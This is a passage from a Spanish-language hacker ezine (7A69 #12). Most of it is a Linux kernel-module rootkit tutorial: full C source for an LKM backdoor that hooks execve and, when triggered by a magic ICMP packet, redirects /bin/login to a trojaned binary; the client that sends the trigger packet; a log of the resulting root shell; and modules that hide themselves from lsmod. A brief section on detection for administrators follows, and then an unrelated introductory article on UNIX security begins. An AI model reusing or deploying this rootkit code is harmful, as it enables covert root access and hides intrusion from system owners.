#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEBUGMODE
#define TLOGIN "/tmp/tlogin" /*
* Aqui es donde deberia estar la version de
* login troyanizada.
*/
#define MAGIC_KEY 0x00007469 /*
* Esta es la pass de 64 bits que usaremos
* para identificar las peticiones de
* activacion del redireccionamiento remotamente
* via ICMP_ECHO_REPLY
*/
#define ICMP_ECHOREPLY 0
/*
* La entrada en la sys_call_table en la que copiaremos el puntero a la
* syscall execve original, para poder llamarla desde mexecve().
*/
#define __NR_mexecve 222
extern void *sys_call_table[];
int (*o_execve)(const char *filename, char *const argv [], char *const envp[]);
int (*o_brk)(void *end_data_segment);
void *tmp;
/*
* Variable que indicara si debemos realizar el redireccionamiento de
* execve o no.
*/
int redir_on=0;
/*
* Esta es la funcion a la que llamaremos cuando queramos que se ejecute
* execve original.
*/
struct packet_type my_pkt;
int mexecve(const char *filename, char **argv, char **envp)
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_mexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}
/*
* Nuestra version troyanizada de la syscall... que malos somos :)
*/
int my_execve(const char *filename, char *const argv [], char *const envp []) {
char *exec;
int ret;
unsigned long tmp;
/*
* Si no debemos redireccionar pues no lo hacemos (que obedientes somos :)
*/
if (!redir_on) return(mexecve(filename, (char **)argv, (char **)envp));
/*
* Si se ejecuta lo siguiente es que debemos redireccionar /bin/login...
* Vamos alla!
*/
exec=(char *)kmalloc(strlen(filename)+1, GFP_KERNEL);
memset(exec, 0, strlen(filename)+1);
__generic_copy_from_user(exec, filename, strlen(filename));
/*
* Falsa alarma! no es /bin/login... actuemos con normalidad.
*/
if (strcmp(filename, "/bin/login")) {
kfree(exec); /* mejor liberamos la memoria O:-) */
return(mexecve(filename, (char **)argv, (char **)envp));
}
/*
* Definitivamente.... si estamos aqui es que debemos currarnos el
* redireccionamiento (si no entendeis esta parte leed la explicacion
* del redireccionamiento de ejecuciones).
*/
kfree(exec);
tmp=current->mm->brk;
(*o_brk)((void *)current->mm->brk+strlen(TLOGIN)+1);
__generic_copy_to_user(tmp, TLOGIN);
redir_on=0; /* Con esto evitamos el bucle infinito.... :P */
printk("excute=%s\n", tmp);
ret=mexecve((char *)tmp, (char **)argv, (char **)envp);
(*o_brk)((void *)tmp);
return(ret);
}
/*
* Esta es la rutina que usaremos para leer los ICMPs :)
*/
int sniffer(struct sk_buff *skb, struct device *dev, struct packet_type *pkt) {
int len;
unsigned long *key;
if (skb->pkt_type!=PACKET_HOST) {
kfree_skb(skb);
return(0); /* Oppps! esto no es mio */
}
if (skb->nh.iph->protocol!=1) {
kfree_skb(skb);
return(0); /* No me intresa, esta mierda no es un ICMP */
}
/*
* Lo colocamos todo bien :)
*/
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
skb->data=skb->nh.raw+(skb->nh.iph->ihl*4)+sizeof(struct icmphdr);
len=htons(skb->nh.iph->tot_len)-(skb->nh.iph->ihl*4)-28;
if (skb->h.icmph->type!=ICMP_ECHOREPLY) {
kfree_skb(skb);
return(0); /* Pos este si es ICMP, pero no me intersa */
}
/*
* Ahora miramos que en el campo datos este la MAGIC_KEY. Si esta activaremos
* el redireccionamiento.
*/
key=(unsigned long *)skb->data;
if (*key==MAGIC_KEY) {
redir_on=1; /* Ale! ya podeis pasar */
#ifdef DEBUGMODE
printk("(RB) Redireccion activa!\n");
#endif
}
kfree_skb(skb);
return(0);
}
int init_module() {
/*
* hockeamos las syscalls necesarias.
*/
o_brk=sys_call_table[__NR_brk];
o_execve=sys_call_table[__NR_execve];
tmp=sys_call_table[__NR_mexecve];
sys_call_table[__NR_mexecve]=o_execve;
sys_call_table[__NR_execve]=my_execve;
sys_call_table[__NR_mexecve]=o_execve;
/*
* Implantamos nuestra rutina en el stack TCP/IP.
*/
my_pkt.type=htons(ETH_P_ALL);
my_pkt.func=sniffer;
dev_add_pack(&my_pkt);
#ifdef DEBUGMODE
printk("(RB) Remote backdoor (redir /bin/login) by Ripe - <ripe@7a69ezine.org>\n");
printk("(RB) Loaded!\n");
#endif
return(0); /* na fue mal */
}
void cleanup_module() {
/*
* Lo dejamos todo como estaba antes de tocar nada :P
*/
sys_call_table[__NR_execve]=o_execve;
sys_call_table[__NR_mexecve]=tmp;
dev_remove_pack(&my_pkt);
#ifdef DEBUGMODE
printk("(RB) Remote backdoor (redir /bin/login) by Ripe - <ripe@7a69ezine.or>\n");
printk("(RB) UnLoaded!\n");
#endif
}
---/ backdoor_1.c /---
Mirar si os lo pongo facilito que ademas os programo esto para poder
mandar los ICMPs. Este codigo no esta comentado porque no tiene nada que ver
con los LKMs, si quieres aprender sobre sockets e ICMP te remito al documento
escrito por Doing publicado en 7a69#8, y al articulo sobre este protocolo
escrito por mi publicado en 7a69#11.
---/ rbackdoor.c */
/*
* TILE: Remote Backdoor (/bin/login redirect) The access!!! <1/8/2001>
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: I've no idea.... and you?
*
* RECOM: hug?
*
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <linux/if.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <strings.h>
#include <stdio.h>
#define MAGIC_KEY 0x00007469
char *get_dev_from_ip(u_int32_t dst_ip)
{
FILE *f;
char device[256];
u_int32_t dest;
char gtw[256];
int flags;
int refcnt;
int use;
int metric;
int mtu, window, irtt;
u_int32_t mask;
char ch;
char *default_dev = NULL;
f = fopen("/proc/net/route", "r");
if (!f) {
perror("open");
exit(0);
}
while (!feof(f)) {
for (;;) {
fread(&ch, 1, 1, f);
if (ch == '\n') break;
if (feof(f)) {
printf("Error: /proc/net/route has 0 lenght!\n");
exit(0);
}
}
fscanf(f, "%s\t%x\t%s\t%x\t%i\t%i\t%i\t%x\t%x\t%x\t%x",
device, &dest, gtw, &flags, &refcnt, &use, &metric, &mask, &mtu, &window, &irtt);
if (!(flags & 0x1)) continue;
if ((dst_ip & mask) == (dest & mask)) {
fclose(f);
if (default_dev) free(default_dev);
default_dev = (char*) malloc(strlen(device) + 1);
strncpy(default_dev, device, strlen(device) + 1);
return default_dev;
}
if (!dest) {
default_dev = (char*) malloc(strlen(device) + 1);
strncpy(default_dev, device, strlen(device) + 1);
}
}
fclose(f);
if (default_dev) return default_dev;
exit(0);
}
u_int32_t get_ip_from_dev(char *dev)
{
struct ifreq ifr;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in ret;
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name));
ioctl(fd, SIOCGIFFLAGS, &ifr);
if ((ifr.ifr_flags & IFF_UP) == IFF_UP) {
ioctl(fd, SIOCGIFADDR, &ifr);
memcpy(&ret, &ifr.ifr_addr, sizeof(struct sockaddr_in));
return ret.sin_addr.s_addr;
}
exit(0);
}
int main(int argc, char **argv) {
char pqt[4096];
struct sockaddr_in sa;
struct hostent *he;
struct iphdr *ip=(struct iphr *)pqt;
struct icmphdr *icmp=(struct icmphdr *)(pqt+sizeof(struct iphdr));
unsigned long *key=(unsigned long *)(pqt+sizeof(struct iphdr)+sizeof(struct icmphdr));
char *host;
char *dev;
int s, n;
long sum;
unsigned short *p;
unsigned short impar;
host=NULL;
memset(pqt, 0, 4096);
if (!inet_aton(argv[1], &sa.sin_addr)) {
if ((he=gethostbyname(argv[1]))==NULL) {
fprintf(stderr, "Host incorrecyo\n");
exit(1);
}
bcopy(he->h_addr, &sa.sin_addr, he->h_length);
host=he->h_name;
}
sa.sin_family=AF_INET;
sa.sin_port=0;
if ((s=socket(AF_INET, SOCK_RAW, 255))<0) {
perror("socket");
exit(1);
}
if (!(dev=get_dev_from_ip(sa.sin_addr.s_addr))) {
perror("get_dev_from_ip");
exit(1);
}
icmp=(struct icmphdr *)pqt;
icmp->type=ICMP_ECHOREPLY;
icmp->code=0;
icmp->checksum=0;
icmp->un.echo.id=getpid();
icmp->un.echo.sequence=0;
p=(unsigned short *)pqt;
sum=0;
n=sizeof(struct icmphdr);
while(n>1) {
sum+=*p++;
n-=2;
}
if (n==1) {
impar=0;
*((unsigned char *)&impar)=*(unsigned char *)p;
sum+=impar;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
icmp->checksum=(unsigned short)~sum;
ip->ihl=5;
ip->version=4;
ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr)+4);
ip->protocol=1;
ip->ttl=0xff;
ip->id=rand()%0xffff;
ip->saddr=get_ip_from_dev(dev);
ip->daddr=sa.sin_addr.s_addr;
printf("key=%x\n", *key);
*key=(unsigned long)MAGIC_KEY;
printf("key=%x\n", *key);
if (sendto(s, pqt, sizeof(struct iphdr)+sizeof(struct icmphdr)+4, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("sendto");
exit(1);
}
}
---/ rbackdoor_1.c /---
Bien, como es de suponer esta backdoor remota es una chapuza y es
inifinitamente mejorable, y como siempre os voy a decir como mejorarlo...
DoItYorSelf, recordais?
Antes que nada, el ICMP mandado por rbackdoor_1 lleva nuestra IP, y un IDS
(Intrusion Detection System) podria extrañarse y hacer saltar la alarma si
se recive un ICMP_ECHOREPLY no solicitado. La solucion mas facil seria
mandar el ICMP spoofeado, la alarma seguiria saltando pero nuestra IP no
seria sospechosa de nada :)
Ahora usemos la backdoor, a ver que mas cosas vemos...
barracuda ~# gcc tlogin.c -o /tmp/tlogin
barracuda ~# gcc -O3 -c -I/usr/src/linux/include backdoor_1.c
barracuda ~# insmod backdoor_1.o
barracuda ~# gcc rbackdoor_1.c -o rbackdoor
barracuda ~# ./rbackdoor localhost
barracuda ~# export DISPLAY="ImHax0r"
barracuda ~# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Debian GNU/Linux 2.2 barracuda
Eres un autentico hax0r
sh-2.03# id
uid=0(root) gid=101(telnetd) groups=101(telnetd),43(utmp)
sh-2.03# netstat -na
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:23 127.0.0.1:1178 ESTABLISHED
(... etc etc ...)
sh-2.03# exit
barracuda ~# tail -n1 /var/log/messages
Aug 1 21:12:56 localhost in.telnetd[458]: connect from 127.0.0.1
barracuda ~#
Oh! no! Mientras estamos en sesion pueden vernos con un simple netstat, y
ademas dejamos un mensajito desagradable en /var/log/messages. Como podemos
evadir esto? Empezaremos por evadir el tema del mensajito, esto tiene facil
solucion, basta con implementar algo parecido a evade_log.c y hacer un
add_log(ip) y add_log(host), pero como sabra la IP el modulo? (recordad que
hemos decidido que mandariamos el ICMP_ECHOREPLY spoofeado) Pues facil,
pondremos en el campo de datos, justo despues de la firma nuestra IP. De la
misma manera ocultaremos todas las conexiones realizada a/desde nuestra maquina
al host atacado, trabajando igual que hace fucknetstat.c.
Se han acabado los problemas? Ni mucho menos. Seria tambien conveniente
ocultar el fichero /tmp/tlogin, para ello implementaremos algo parecido a
rhidef.c. Tambien vemos que tenemos dos proceos en la maquina abiertos por
nosotros que podrian delatarnos un in.telnetd y un bash. Si pensais un poco
lograreis tambien ocultar estos procesos, la dificultad aqui recae en saber
los PIDs desde el propio modulo :)
Bueno, como veis este modulo es infinitamente mejorable, pero claro, eso
es trabajo vuestro. Mi intencion es solo la de dar ejemplos sencillos para que
luego vostros seais capaces de codear el rootkit perfecto para el kernel de
linux... sereis capaces?
5.9. Ocultando el propio modulo
--------------------------------
Obviamente de nada sirve que un modulo haga maravillas si el
administrador del sistema puede verlo haciendo un simple "lsmod". Por ello
debemos procurar que nuestro modulo sea invisible en el sistema. Para poder
hacer esto debemos saber como se gestionan los LKMs en un sistema como
linux. Ello lo podeis ver en el fichero kernel/module.c (fichero al que
recomiendo echar un ojo, pues es una de las funcionalidades del kernel que a
mi me ha sido mas facil de entender).
Los modulos se guardan en el kernel en una lista enlazada apilada, en
la que la una struct module (kernel_module) forma la base de dicha pila y
un puntero struct module (module_list) apunta a la cima. Si bien
kernel_module no cambia de valor, module_list si que lo hace, cada vez que
se llama a sys_create_module (la syscall usada para insertar un nuevo modulo
en la lista). Para poder eliminar un modulo de la lista deberiamos tener
acceso a module_list, ya que desde ahi podriamos recorrer la lista enlazada
hasta llegar a kernel_module (la base de la lista) donde el puntero next
valdria NULL. Bien, si tenemos en cuenta, que cuando se llama a
sys_create_module nuestro modulo pasara a ser la cima de la lista (consultad
las fuentes :), podemos tener acceso al valor de module_list en ese
instante, pues lo tendriamos en &__this_module (que es el puntero que apunta a
la struct module de nuestro propio modulo). Esto quiere decir que en el
momento en el que insertamos un modulo podemos eliminar si dificultad alguna
cualquier modulo que se encontrara cargado recorriendo simplemente la lista
y reapuntando unos punteros. Veamos como seria con un ejemplo simplon.
---/ hide_module1.c /---
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/mm.h>
#define NULL (void *)0
/*
* Leeremos el nombre del modulo a ocultar por parametro.
*/
char *mod;
MODULE_PARM(mod, "s");
/*
* Funcion que usaremos para ver si el modulo existe en la lista.
*/
struct module *find_module(char *name) {
struct module *m;
for(m=&__this_module ; m ; m=m->next) {
if (m->flags & MOD_DELETED) continue;
if (!strcmp(name, m->name)) break;
}
return(m);
}
int init_module() {
struct module *m;
struct module *m2;
if (!mod) goto out;
if (!find_module(mod)) goto out;
for(m=&__this_module, m2=NULL ; m ; m2=m, m=m->next)
if (!strcmp(m->name, mod)) break;
/*
* Aqui esta el hack :)
*/
m2->next=m->next;
out:
return(-1);
}
void cleanup_module() {
}
---/ hide_module1.c /---
Vemos ahora un sencillo ejemplo de su funcionamiento :)
barracuda ~# lsmod
es1371 26544 0
soundcore 2440 4 [es1371]
rtl8139 11144 1
nfsd 160536 0 (unused)
nfs 43820 0 (unused)
barracuda ~# insmod hide_module1.o mod=nfsd
hide_module1.o: init_module: Device or resource busy
Hint: this error can be caused by incorrect module parameters, including invalid IO or IRQ parameters
barracuda ~# lsmod
es1371 26544 0
soundcore 2440 4 [es1371]
rtl8139 11144 1
nfs 43820 0 (unused)
barracuda ~#
Bien, con este modulo podremos eliminar cualquier modulo que haya sido
cargado previamente, pero es muy posible que nos intrese ocultar el propio
modulo. Teniendo en cuenta que es imposible sacarnos a nosotros mismos de la
lista puede parecer imposible ocultarnos, pero esto no es asi, pues podemos
eliminar el ultimo modulo cargado (antes de nosotros) y atrivuir al nuestro
las propiedades del anterior (nos bastara con atrivuirnos solo las
propiedades que son visibles al hacer un "lsmod". Veamos un sencillo ejemplo.
---/ hide_module2.c /---
#include __KERNEL__
#include MODULE
#include <linux/kernel.h>
#include <linux/modulde.h>
#include <linux/version.h>
int init_module() {
struct module *m=&__this_module; /* El modulo actual :) */
struct module *m_next;
m_next=m->next;
/*
* Ahora adoptamos la apariecia del anterior :)
*/
m->name=m_next->name;
m->flags=m_next->flags;
m->next=m_next->next;
return(0);
}
void cleanup_module() {
}
---/ hide_module2.c /---
Como podeis ver el modulo se auto oculta a si mismo (realmente estamos
ocultando el anterior y adoptando su apariencia).
barracuda ~# lsmod
es1371 26544 0
soundcore 2440 4 [es1371]
rtl8139 11144 1
nfsd 160536 0 (unused)
nfs 43820 0 (unused)
barracuda ~# insmod hide_module2.o
barracuda ~# lsmod
es1371 26544 0
soundcore 2440 4 [es1371]
rtl8139 11144 1
nfsd 160536 0 (unused)
nfs 43820 0 (unused)
barracuda ~#
Todo esto esta muy bien, pero lo que seria realmente ideal es que
pudieramos dejar un modulo cargado en memoria y que con el pudieramos elejir
que modulo eliminar (haya sido cargado antes o despues que el nuestro). Ello
parece imposible, pues el symbolo del kernel module_list no ha sido
exportado, pero si miramos kernel/module.c (nuevamente) veremos que entre el
symbolo kernel_module y module_list hay un offset conocido, lo que quiere
decir que si logramos acceder al symbolo kernel_module podremos acceder
tambien a module_list. Seguro que muchos de vosotros ya habeis visto la luz
y sabreis como sacar module_list, pero para los demas lo voy a explicar :)
Solo tendremos que desde &__this_module seguir el puntero next hasta que
este valga NULL, lo que querra decir que estamos en kernel_module, y una vez
ahi le sumamos el offset en cuestion y listos, ya tenemos acceso permanente
a la cima de la pila. Sencillo.
---/ hide_module3.c /---
/*
* TILE: Hide_Module3
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: This is an simple example how to hide kernel modules in linux, this
* techbique works 100% in linux 2.2 and 2.4 :)
*
* RECOM: Hide fisrt this module... eheheh.
*
* TESTED: This LKM have been tested without problems on:
* - Linux 2.2.16 (RedHat 7.1)
* - Linux 2.2.19 (Debian 2.2)
* - Linux 2.4.2 (Debian 2.2)
*/
#define __KERNEL__
#define MODULE
#include <linux/ctype.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#define _7A69SOFT_
#define CODER "Ripe"
#define DEBUGMODE
#define DEF_HIDE "hide_lkm"
extern void *sys_call_table[];
char *hide;
struct {
char *hide;
} status;
int (*o_rename)(const char *oldpath, const char *newpath);
void *module_list=NULL;
/*
* Esta funcion nos colocara en module_list el simbolo del kernel, para ello
* hace lo que he comentado en el documento, fijaos :)
*/
void *get_module_list() {
struct module *m=THIS_MODULE;
while(m->next) m=m->next;
module_list=m+1;
}
/*
* Funcion que recorre la lista de modulos (desde module_list) buscando
* uno con un nombre concreto.
*/
struct module *find_module(char *name) {
void **tmp;
struct module *m;
tmp=(void **)module_list;
for(m=(*tmp) ; m ; m=m->next) {
if (m->flags & MOD_DELETED) continue;
if (!strcmp(name, m->name)) break;
}
return(m);
}
/*
* Esta es la funcion que se encargara de sacar el modulo de la lista
* enlazada.
*/
void hide_lkm(char *lkm) {
void **tmp;
struct module *m;
struct module *m2;
if (!find_module(lkm)) return; /* Si no existe el modulo no podemos
* ocultarlo, asi que retornamos sin hacer
* nada.
*/
#ifdef DEBUGMODE
printk("(HM) Adding %s lkm to hide list\n", lkm);
#endif
tmp=(void **)module_list;
/*
* Recorremos la lista hasta encontrar el modulo a ocultar.
*/
for(m=(*tmp), m2=NULL ; m ; m2=m, m=m->next)
if (!strcmp(m->name, lkm)) break;
/*
* Una vez aqui, tenemos en m el modulo a ocultar y en m2 el modulo
* anterior (si es que existe).
*/
if (m2) m2->next=m->next; /* Si existe el modulo anterior reapuntamos
* estos punteros para saltarnos el modulo
* a ocultar.
*/
else (*tmp)=m->next; /* Si no existe es que nuestro modulo es el que esta
* en la cima de la lista (en module_list), por lo que
* hacemos que sea el siguiente el que este en la
* cima :)
*/
}
/*
* Mismo rollo de siempre.
*/
int my_rename(const char *oldpath, const char *newpath) {
if (!strcmp(newpath, status.hide)) {
hide_lkm((char *)oldpath);
return(0);
}
return((*o_rename)(oldpath, newpath));
}
/*
* Carga/Descarga ¿no?
*/
int init_module() {
status.hide=(char *)kmalloc(strlen(DEF_HIDE), GFP_KERNEL);
strcpy(status.hide, DEF_HIDE);
if (hide) {
kfree(status.hide);
status.hide=hide;
}
get_module_list(); /* No nos olvidemos de extraer el symbolo :P */
o_rename=sys_call_table[__NR_rename];
sys_call_table[__NR_rename]=my_rename;
#ifdef DEBUGMODE
printk("(HM) Hide_Module3 by Ripe - <ripe@7a69ezine.org>\n");
printk("(HM) Loaded!\n");
#endif
return(0);
}
void cleanup_module() {
sys_call_table[__NR_rename]=o_rename;
#ifdef DEBUGMODE
printk("(HM) Hide_Module3 by Ripe - <ripe@7a69ezine.org>\n");
printk("(HM) UnLoaded!\n");
#endif
}
---/ hide_module3.c /---
Bien, una cosa mas a desctacar es que la carga de un modulo, deja ademas
otra pequeña huella, esta se ella en /proc/ksyms, pues en el se podran ver los
symbolos del modulo, para evitar esto es muy sencillo, y nos bastara con
llamar a la macro EXPORT_NO_SYMBOLS en nuestro modulo (en la distribucion
Debian, se deja como huella en /proc/ksyms de las cabeceras ELF).
Tambien podria llegar a ser posible ocultar modulos hookeando la
syscall query_module (la usada por lsmod para consultar los modulos
cargados), pero no lo he intentado. Si digo es esto, es para que alguno de
vosotros se anime a intentarlo :)
6. Soluciones para la administracion
------------------------------------
Como hemos podido ver a lo largo de este articulo los LKMs pueden ser
una autentica pesadilla para los administradores de sistemas. Un buen
rootkit para el kernel puede dejar totalmente indefenso a un administrador
de sistemas. En este punto 6 voy a tratar de ayudar a los administradores de
sistemas a defenderse de este tipo de ataques.
6.1. Recomendaciones para asegurar el kernel
--------------------------------------------
Dicen que es mejor prevenir que curar, y en este caso ocurre lo mismo.
Es mejor evitar que cargen un LKM con mala idea en nuestro sistema a tener
que detectarlo una vez cargado. Para ello lo que yo recomiendo es quitar del
kernel el soporte para modulos cargables (sobretodo si se trata de
servidores criticos) y dejar todo el kernel en una sola imagen. Obiamente
esp nos obliga a recompilar todo el kernel siempre que queramos
añadirle/quitarle/modificar algo. En el caso de la extrema necesidad del uso
de los LKMs deberiamos tomar medidas para dificultar la carga del modulo.
Una de ellas puede ser el uso de modprotect.c (persentado en la seccion 4.11
de este mismo doc), aun que aun asi dejamos /dev/kmem al descuvierto (no lo
voy a explicar aqui, pero tambien es posible troyanizar el kernel atraves de
/dev/kmem). Cambiar el nombre del ejecutable "insmod" puede despistar a
algunos script kiddies, tambien podemos dejar un insmod que loguee todos las
inserciones de modulos.
6.2. Pelea: Detectando y evadiendo la deteccion de syscalls troyanizadas.
-------------------------------------------------------------------------
Si no hemos tomado precauciones es probable que nuestro preciado kernel
ya haya sufrido algun tipo de mutacion maligna. ¿Como podemos detectar si
estamos troyanizados?
Todos los modulos que hemos visto modificaban algun valor de la
sys_call_table, por lo que es por ahi por donde debemos atacar. ¿Como? No es
dificil codear algo que lea de /dev/kmem la sys_call_table (con la syscall
query_module podemos sacar la posicion en la memoria de dicho symbolo), y
comparar el valor de los elementos del array con el valor que deberia tener.
¿Como sabemos el valor que deberia tener? Facil. Siempre, tras finalizar la
compilacion del kernel se crea un fichero llamado System.map que contiene
todos los symbolos del kernel, con la posicion en la memoria en la que se
carga. Asi pues si sys_call_table[__NR_getdents] no tiene la posicion en la
memoria que dicta sys_getdents en System.map quiere decir que algo malo esta
pasando :/
Pero no es oro todo lo que reluce. Si bien todos los modulos presentados
aqui modifican algun valor de la sys_call_table, es posible troyanizar una
syscall sin modificarlo. La forma de hacerlo es colocando una instruccion de
salto en el inicio de codigo de la syscall. Para saber la posicion en la
memoria de la syscall en question basta con consultar los valores de la
sys_call_table.
NOTA: He sido muy breve en este punto, ya que es muy posible que dedique mas
adelante un articulo completo a la deteccion de LKMs troyanos.
7. Marchando
------------
Bueno, todo lo que empieza debe acabar, y este articulo llega ahora
mismo a ese punto que llaman "FIN". Estoy muy agradecido a todos vosotros
por leer este doc y haber llegado hasta aqui :)
7.1. Agradecimientos
--------------------
A toda la gente de 7a69 y #root (irc-hispano).
A Doing sobretodo por ser como es y ayudar siempre que es necesario.
A mi abuelo por lo mal que lo esta pasando (te quiero).
A Marta por ser igual que un kernel :)
A Princc3sa por todo...
A tuxisuau por no dejar de hablar ni un solo minuto :P
A trycky por el buen humor que siempre se gasta.
Bufff, seguro que me dejo a muchos... asi que incluire un... A todo el
mundo por formar parte de este "bonito" mundo.
7.2. Saludos
------------
Orden alfavetico... no haya quejas :)
Alcalde, AiNaKeR, Anarion, Anonimo (ya sabes :P), b0nk, cHuKy, Doing,
EleCtrAxX, ICEFIRE, Ireick, Overdrive, Karbonato, Princc3sa, Scsix, Tahum,
Trycky, Tuxisuau....
NOTA: Lo de Anonimo es por si me dejo a alguien, jejeje. Asi que ya sabes, si
no sales, es que Anonimo eres tu :P
7.3. Contactar
--------------
Bueno... para qualquier cosa. Quejas, fallos en el doc, agradecimientos,
elogios, proposiciones indecentes o de trabajo..
ripe@7a69ezine.org
O de vez en cuando en #root del Irc-hispano.
7.4. Bibliografia
-----------------
- Phrack#52 Articulo 18 "Weakening the Linux Kernel"
- Phrack#55 Articulo 12 "Building Into The Linux Network Layer"
- SET#22 Articulo 0x0A "Linux Kernel Modules : LKMs"
- Sources de otros modulos.
- Los sources del kernel 2.2.18
7.5. Nota final
---------------
Ya he empezado a trabajar con el kernel 2.4 asi que es mas que posible
que para el proximo numero haya algo sobre modulos en 2.4. Obiamente no voy
a empezar desde 0 ni mucho menos (para eso ya esta este documento).
Aprobechare el proximo documento para explicar cosas que no he explicado
aqui como spinlocks, timers, colas de tareas.... Bueno, ya lo vereis. Tambien
es muy posible que veais mas backdoors remotas, porque es pecisamente una de
las cosas en las que estoy trabajando, tengo varias ideas, pero este no es
momento ni lugar para comentarlas, asi que, nos vemos.
*EOF*
-=( 7A69#12 )=--=( art5 )=--=( Seguridad; Vision general. )=--=( Anonimo )=-
------[ Introduccion
En este mundo de hoy en dia de redes internacionales y comercio electronico,
muchos sistemas informaticos son un potencial objetivo. No es raro que cada
mes salga en las noticias que un sistema informatico de una organizacion
importante ha sido penetrado por intrusos (No voy a llamarles hackers porque
no es mi intencion manchar el nombre de "hacker"). En estos ultimos años han
ocurrido grandes catastrofes, informaticamente hablando, como por ejemplo:
ordenadores que se han quedado inoperativos, los ficheros han sido
sospechosamente alterados, el software ha sido cambiado por secretas
"backdoors" en su lugar, informacion privada ha sido copiada sin autorizacion
y millones de passwords han sido capturadas, entre otras muchas cosas.
Muchos administradores despues de estos "ataques" pasan muchas horas o dias,
reseteando y configurando el sistema comprometido para una seguridad mejor en
el sistema. Los motivos que llevan a un intruso a penetrar en el sistema son
que solo entran para "darse una vuelta" y normalmente no leen informacion
confidencial ni borran ningun archivo. Aunque mucha gente diferente rompe la
seguridad de los sistemas por ejemplo para hacerse publicidad modificando la
web.
Los terminos: seguridad, proteccion y privacidad para muchos profesionales
que trabajan en este "tema" no conocen muy bien estos terminos. El objetivo
de este texto no es ser una guia para seguridad informatica, no pretendo esto,
solo dar unas "nociones" de seguridad en UNIX.
------[ ¿Que es un Sistema Operativo?
Para mucha gente un ordenador es una utilidad que sirve para solucionar
problemas. Cuando ejecutamos un procesador de textos el ordenador es una
maquina para poner palabras e ideas. Cuando usamos una hoja de calculos, el
ordenador es una maquina financiera, como una poderosa calculadora.
Conectandonos a una red, el ordenador forma parte de un potente sistema de
comunicacion.
Todos los ordenadores estan manejados por programas llamados sistemas
operativos. El sistema operativo forma parte de un mecanismo y politica para
ayudar a definir el control de los recursos del sistema.
A lo largo del sistema operativo, funciona con utilidades estandars para
mejorar las funciones de copiar ficheros y listar los contenidos de los
directorios. Normalmente estos pogramas no forman parte de el sistema
operativo y esto suele producir un impacto a la seguridad del sistema.
Todos los sistemas UNIX se pueden dividir en tres partes:
- El kernel. Es el corazon del sistema UNIX, es el sistema operativo.
El kernel es un programa especial que se carga dentro del ordenador cuando
esta se inicia. El kernel controla todoas las llamadas del sistema, hace
que corran programas al mismo tiempo, etc. El kernel incluye el sistema de
ficheros que controla que ficheros y directorios van ha estar en el disco
duro del ordenador. El sistema de ficheros es el mecanismo con el que la
seguridad del ordenador es forzada. Algunas versiones modernas de UNIX
rechazan programas instalados por el usuario para cargar modulos
adicionales dentro del kernel antes de que el sistema carge.
- Programas de utilidades standard son cargadas por los usuarios y por el
sistema. Algunos programas son pequellos y con una unica funcion, como por
ejemplo /bin/ls que lista ficheros, /bin/cp los copia. Otros programas son
mas grandes y tienen incluidas mas funciones, por ejemplo /bin/sh y
/bin/csh, son shells UNIX que procesan los comandos del usuario.
- Base de datos del sistema. Muchas de estas son relativamente pequeñas y
son usadas por variados programas en el sistema. Un fichero /etc/passwd
contiene la lista de todos los usuarios del sistema. Otro fichero
/etc/group describe los grupos de usuarios con similar acceso.
Desde el punto de vista de la seguridad en UNIX, estas tres partes interactuan
con cuatro procesos:
- Politica de seguridad, que determina que ordenador corre con respecto al
usuario y al administrador. La politica de seguridad juega un papel
importante para determinar tu seguridad del ordenador en el sistema
operativo. Un ordenador se supone que estara seguro si se usa las mayores
sofisticaciones en cuanto a seguridad, pero es falso. Por esta razon,
la politica a establecer es encriptar, esto juega un papel muy importante
dentro del proceso de la seguridad del sistema.
Tipos de Sistemas UNIX:
-----------------------
Podemos encontrar estos UNIX en el mundo:
- NextStep (Derivado del BSD 4.3), FreeBSD, BSD/OS, SunOS, Linux, DEC OSF/1,
AIX, HP-UX, Solaris, IRIX, SCO UNIX.
------[ Seguridad y UNIX
Dennis Ritchie escribio sobre la seguridad de UNIX: "No ha sido diseñado para
empezar a ser seguro. Ha sido diseñado para las caracteristicas necesarias
para hacer un servicio seguro".
UNIX es un sistema multi-usuario y multi-tarea. Multi-usuario significa que el
sistema operativo permite mucha gente diferente para usar el mismo ordenador
al mismo tiempo. Multi-tarea significa que el usuario puede ejecutar varios
programas a la vez.
Una de las funciones naturales de un sistema operativo es prevenir que gente
diferente (o programas) usen otros programas que puedan interferir a otros.
Para solucionar este problema, en muchos lugares optan por usar la filosofia
UNIX.
Pero la seguridad de UNIX proviene de la proteccion de memoria. UNIX tiene un
sistema de seguridad muy sofisticado que controla los accesos de los usuarios
a los ficheros, modificaciones en las bases de datos del sistema y los
recursos del sistema. Desafortunadamente, estos mecanismos de seguridad no
ayudan mucho cuando el sistema es microconfigurado o tiene un bug en el
software.
------[ Planeando nuestras necesidades de seguridad
Un ordenador es seguro si cumple nuestras espectaciones.
Hay muchos tipos de seguridad en los ordenadores y muchas definiciones.
Podemos creer que la seguridad de los ordenadores puede ser por ejemplo: Este
ordenador no puede ser usado porque no esta en red, pero esta no es la razon,
no es todavia seguro (internamente hablando).
Los pasos claros de la para que un ordenador sea mas seguro son estos:
- Confidencialidad: Proteger la informacion para que no pueda ser leida o
copiado por alguien que no tenga acceso a esta informacion.
